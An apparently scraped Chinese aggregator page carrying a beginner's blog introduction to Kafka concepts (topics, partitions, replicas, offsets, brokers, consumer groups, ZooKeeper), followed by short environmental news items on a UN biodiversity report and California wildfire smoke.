    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※超省錢租車方案

    ※別再煩惱如何寫文案,掌握八大原則!

    ※回頭車貨運收費標準

    ※教你寫出一流的銷售文案?

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

  • 一文入門Kafka,必知必會的概念通通搞定

    一文入門Kafka,必知必會的概念通通搞定

    Kakfa在大數據消息引擎領域,絕對是沒有爭議的國民老公。

    這是kafka系列的第一篇文章。預計共出20篇系列文章,全部原創,從0到1,跟你一起死磕kafka。

    本文盤點了 Kafka 的各種術語並且進行解讀,術語可能比較枯燥,但真的是精髓中的精髓!

    了解Kafka之前我們必須先掌握它的相關概念和術語,這對於後面深入學習 Kafka 各種功能將大有裨益。所以,枯燥你也得給我看完!

    大概是有這麼些東西要掌握,不多不多,預計20分鐘可以吃透:

    主題層

    主題層有三個兒子,分別叫做:Topic、Partition、Replica。既然我說是三個兒子,那你懂了,是不可分割的整體。

    Topic(主題)

    Kafka 是分佈式的消息引擎系統,它的主要功能是提供一套完備的消息(Message)發布與訂閱解決方案。

    在 Kafka 中,發布訂閱的對象是主題(Topic),你可以為每個業務、每個應用甚至是每類數據都創建專屬的主題。

    一個Topic是對一組消息的歸納。也可以理解成傳統數據庫里的表,或者文件系統里的一個目錄。

    Partition(分區)

    一個Topic通常都是由多個partition組成的,創建topic時候可以指定partition數量。

    分區優勢

    為什麼需要將Topic分區呢?如果你了解其他分佈式系統,你可能聽說過分片、分區域等說法,比如 MongoDB 和 Elasticsearch 中的 Sharding、HBase 中的 Region,其實它們都是相同的原理。

    試想,如果一個Topic積累了太多的數據以至於單台 Broker 機器都無法容納了,此時應該怎麼辦呢?

    一個很自然的想法就是,能否把數據分割成多份保存在不同的機器上?這不就是分區的作用嗎?其實就是解決伸縮性的問題,每個partition都可以放在獨立的服務器上。

    當然優勢不僅於此,也可以提高吞吐量。kafka只允許單個partition的數據被一個consumer線程消費。因此,在consumer端,consumer并行度完全依賴於被消費的分區數量。綜上所述,通常情況下,在一個Kafka集群中,partition的數量越多,意味着可以到達的吞吐量越大。

    partition結構

    每個partition對應於一個文件夾,該文件夾下存儲該partition的數據和索引文件。

    如圖所示,可以看到兩個文件夾,都對應着一個叫做asd的topic,在該台服務器上有兩個分區,0和2,那麼1呢?在其他服務器上啦!畢竟是分佈式分佈的!

    我們進去asd-0目錄中看看是什麼?有後綴為.index和.log的文件,他們就是該partition的數據和索引文件:

    現在先不管它們是何方神聖,因為我會在【分區機制原理】這篇文章中詳細描述。

    partition順序性

    現在,我需要你睜大眼睛看看關於分區非常重要的一點:

    【每個partition內部保證消息的順序。但是分區之間是不保證順序的】

    這一點很重要,例如kafka中的消息是某個業務庫的數據,mysql binlog是有先後順序的,10:01分我沒有付款,所以pay_date為null,而10:02分我付款了,pay_date被更新了。

    但到了kafka那,由於是分佈式的,多分區的,可就不一定能保證順序了,也許10:02分那條先來,這樣可就會引發嚴重生產問題了。因此,一般我們需要按表+主鍵來分區。保證同一主鍵的數據發送到同一個分區中。

    如果你想要 kafka 中的所有數據都按照時間的先後順序進行存儲,那麼可以設置分區數為 1。

    Replica (副本)

    每個partition可以配置若干個副本。Kafka 定義了兩類副本:領導者副本(Leader Replica)和追隨者副本(Follower Replica)。只能有 1 個領導者副本和 N-1 個追隨者副本。

    為啥要用副本?也很好理解,反問下自己為什麼重要的文件需要備份多份呢?備份機制(Replication)是實現高可用的一個手段。

    需要注意的是:僅Leader Replica對外提供服務,與客戶端程序進行交互,生產者總是向領導者副本寫消息,而消費者總是從領導者副本讀消息。而Follower Replica不能與外界進行交互,它只做一件事:向領導者副本發送請求,請求領導者把最新生產的消息發給它,保持與領導者的同步。

    如果對於剛剛所說的主題、分區、副本還有疑惑,那麼結合下面這張圖再思考一下,我相信你就可以玩轉它了:

    下圖所示,TopicA,具有三個partition,每個partion都有1 個leader副本和 1 個follower者副本。為了保證高可用性,一台機器宕機不會有影響,因此leader副本和follower副本必然分佈在不同的機器上。

    消息層

    Kafka的官方定義是message system,由此我們可以知道Kafka 中最基本的數據單元無疑是消息message,它可理解成數據庫里的一條行或者一條記錄。消息是由字符數組組成。關於消息你必須知道這幾件事:

    消息key

    發送消息的時候指定 key,這個 key 也是個字符數組。key 用來確定消息寫入分區時,進入哪一個分區。你可以用有明確業務含義的字段作為key,比如用戶號,這樣就可以保證同一個用戶號進入同一個分區。

    批量寫入

    為了提高效率, Kafka 以批量batch的方式寫入。

    一個 batch 就是一組消息的集合, 這一組的數據都會進入同一個 topic 和 partition(這個是根據 producer 的配置來定的) 。

    每一個消息都進行一次網絡傳輸會很消耗性能,因此把消息收集到一起再同時處理就高效的多。

    當然,這樣會引入更高的延遲以及吞吐量:batch 越大,同一時間處理的消息就越多。batch 通常都會進行壓縮,這樣在傳輸以及存儲的時候效率都更高一些。

    位移
    生產者向分區寫入消息,每條消息在分區中的位置信息由一個叫位移(Offset)的數據來表徵。分區位移總是從 0 開始,假設一個生產者向一個空分區寫入了 10 條消息,那麼這 10 條消息的位移依次是 0、1、2、…、9。

    服務端

    Kafka 的服務器端由被稱為 Broker 的服務進程構成,即一個 Kafka 集群由多個 Broker 組成,Kafka支持水平擴展,broker數量越多,集群吞吐量越高。在集群中每個broker都有一個唯一brokerid,不得重複。Broker 負責接收和處理客戶端發送過來的請求,以及對消息進行持久化。

    一般會將不同的 Broker 分散運行在不同的機器上,這樣如果集群中某一台機器宕機,kafka可以自動選舉出其他機器上的 Broker 繼續對外提供服務。這其實就是 Kafka 提供高可用的手段之一。

    controller

    Kafka集群中會有一個或者多個broker,其中有且僅有一個broker會被選舉為控制器(Kafka Controller),它負責管理整個集群中所有分區和副本的狀態。

    當某個分區的leader副本出現故障時,由控制器負責為該分區選舉新的leader副本。當檢測到某個分區的ISR集合發生變化時,由控制器負責通知所有broker更新其元數據信息。當為某個topic增加分區數量時,同樣還是由控制器負責分區的重新分配。

    這幾句話可能會讓你覺得困惑不要方 只是突出下控制器的職能很多,而這些功能的具體細節會在後面的文章中做具體的介紹。

    Kafka中的控制器選舉的工作依賴於Zookeeper,成功競選為控制器的broker會在Zookeeper中創建/controller這個臨時(EPHEMERAL)節點,此臨時節點的內容參考如下:

    其中version在目前版本中固定為1,brokerid表示稱為控制器的broker的id編號,timestamp表示競選稱為控制器時的時間戳。

    兩種客戶端

    Kafka有兩種客戶端。生產者和消費者。我們把生產者和消費者統稱為客戶端(Clients)。

    向主題Topic發布消息Message的客戶端應用程序稱為生產者(Producer),生產者程序通常持續不斷地向一個或多個主題發送消息。

    而訂閱這些主題消息的客戶端應用程序就被稱為消費者(Consumer)。和生產者類似,消費者也能夠同時訂閱多個主題的消息。

    Producer

    Producer 用來創建Message。在發布訂閱系統中,他們也被叫做 Publisher 發布者或 writer 寫作者。

    通常情況下,會發布到特定的Topic,並負責決定發布到哪個分區(通常簡單的由負載均衡機制隨機選擇,或者通過key,或者通過特定的分區函數選擇分區。)
    Producer分為Sync Producer 和 Aync Producer。

    Sync Producer同步的生產者,即一定要某條消息成功才會發送下一條。所以它是低吞吐率、一般不會出現數據丟失。

    Aync Producer異步的生產者,有個隊列的概念,是直接發送到隊列裏面,批量發送。高吞吐率、可能有數據丟失的。

    Consumer 和 Consumer Group

    消費者

    Consumer 讀取消息。在發布訂閱系統中,也叫做 subscriber 訂閱者或者 reader 閱讀者。消費者訂閱一個或者多個主題,然後按照順序讀取主題中的數據。

    消費位移

    消費者需要記錄消費進度,即消費到了哪個分區的哪個位置上,這是消費者位移(Consumer Offset)。注意,這和上面所說的消息在分區上的位移完全不是一個概念。上面的“位移”表徵的是分區內的消息位置,它是不變的,即一旦消息被成功寫入到一個分區上,它的位移值就是固定的了。

    而消費者位移則不同,它可能是隨時變化的,畢竟它是消費者消費進度的指示器嘛。通過存儲最後消費的 Offset,消費者應用在重啟或者停止之後,還可以繼續從之前的位置讀取。保存的機制可以是 zookeeper,或者 kafka 自己。

    消費者組

    ConsumerGroup:消費者組,指的是多個消費者實例組成一個組來消費一組主題,分區只能被消費者組中的其中一個消費者去消費,組員之間不能重複消費。

    為什麼要引入消費者組呢?主要是為了提升消費者端的吞吐量。多個消費者實例同時消費,加速整個消費端的吞吐量(TPS)。

    當然它的作用不僅僅是瓜分訂閱主題的數據,加速消費。它們還能彼此協助。假設組內某個實例掛掉了,Kafka 能夠自動檢測到,然後把這個 Failed 實例之前負責的分區轉移給其他活着的消費者,這個過程稱之為重平衡(Rebalance)。

    你務必先把這個詞記住,它是kafka大名鼎鼎的重平衡機制,生產出現的異常問題很多都是由於它導致的。後續我會在【kafka大名鼎鼎又臭名昭著的重平衡】文章中詳細分析。

    Zookeeper

    zookeeper目前在kafka中扮演着舉重輕重的角色和作用~是kafka不可缺少的一個組件。

    目前,Apache Kafka 使用 Apache ZooKeeper 來存儲它的元數據,比如brokers信息、分區的位置和主題的配置等數據就是存儲在 ZooKeeper 集群中。

    注意我的用詞,我只說是目前。why?在 2019 年社區提出了一個計劃,以打破這種依賴關係,並將元數據管理引入 Kafka 本身。因為擁有兩個系統會導致大量的重複。

    在之前的設計中,我們至少需要運行三個額外的 Java 進程,有時甚至更多。事實上,我們經常看到具有與 Kafka 節點一樣多的 ZooKeeper 節點的 Kafka 集群!此外,ZooKeeper 中的數據還需要緩存在 Kafka 控制器上,這導致了雙重緩存。

    更糟糕的是,在外部存儲元數據限制了 Kafka 的可伸縮性。當 Kafka 集群啟動時,或者一個新的控制器被選中時,控制器必須從 ZooKeeper 加載集群的完整狀態。隨着元數據數量的增加,加載過程需要的時間也會增加,這限制了 Kafka 可以存儲的分區數量。

    最後,將元數據存儲在外部會增加控制器的內存狀態與外部狀態不同步的可能性。

    因此,未來,Kafka 的元數據將存儲在 Kafka 本身中,而不是存儲在 ZooKeeper 之類的外部系統中。可以持續關注kafka社區動態哦!

    總結

    一個典型的kafka集群包含若干個producer(向主題發布新消息),若干consumer(從主題訂閱新消息,用Consumer Offset表徵消費者消費進度),cousumergroup(多個消費者實例共同組成的一個組,共同消費多個分區),若干broker(服務器端進程)。還有zookeeper。

    kafka發布訂閱的對象叫主題,每個Topic下可以有多個Partition,Partition中每條消息的位置信息又叫做消息位移(Offset),Partition有副本機制,使得同一條消息能夠被拷貝到多個地方以提供數據冗餘,副本分為領導者副本和追隨者副本。

    可以用下面這張圖來形象表達kafka的組成:

    另外,再po一張思維導圖助你回顧本文所述的術語。

    重要!!關注【胖滾豬學編程】公眾號發送”kafka”。獲取本文所有架構圖以及Kafka全系列思維導圖!

    本文來源於公眾號:【胖滾豬學編程】。一枚集顏值與才華於一身,不算聰明卻足夠努力的女程序媛。用漫畫形式讓編程so easy and interesting!求關注!

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

    ※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

    南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

    ※教你寫出一流的銷售文案?

    ※超省錢租車方案

  • 聯合國生物多樣性報告:10年愛知目標 沒有一項完全達成

    環境資訊中心綜合外電;姜唯 編譯;林大利 審校

    本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

    ※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

    南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

    ※教你寫出一流的銷售文案?

    ※超省錢租車方案

  • 加州野火空氣品質不佳 專家:恐增染疫機會

    摘錄自2020年09月19日中央通訊社美國報導

    美國疫情未退,加州又陷野火災情,空氣品質不佳,美國疾病管制暨預防中心(CDC)專家今天(19日)警告,煙塵可能刺激肺部,造成發炎,削弱免疫系統,使人更易感染新型冠狀病毒。

    媒體報導,煙塵的覆蓋範圍大,加州不少醫院的急診或門診,氣喘患者增加。醫生擔心,2019冠狀病毒疾病(COVID-19,武漢肺炎)加上即將到來的流感季節,還有野火煙塵產生的呼吸疾病患者,會占用一定程度的醫療資源。

    一名肺部專科醫生說,即使短時間暴露在煙霧中,也會降低人體對抗感染的能力。過去幾週隨著野火災情擴大,因呼吸問題就醫的患者大量增加。煙霧當中的微粒會使人體內的呼吸道黏膜變乾、發炎,使身體難以抵抗傳染來源。野火讓空氣變乾,體內呼吸道的黏液減少,呼吸道與黏膜會發炎、腫脹,對任何外來的病原更沒有抵抗力。

    污染治理
    國際新聞
    加州
    美國
    野火
    武漢肺炎
    空氣污染

    本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※別再煩惱如何寫文案,掌握八大原則!

    ※教你寫出一流的銷售文案?

    ※超省錢租車方案

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!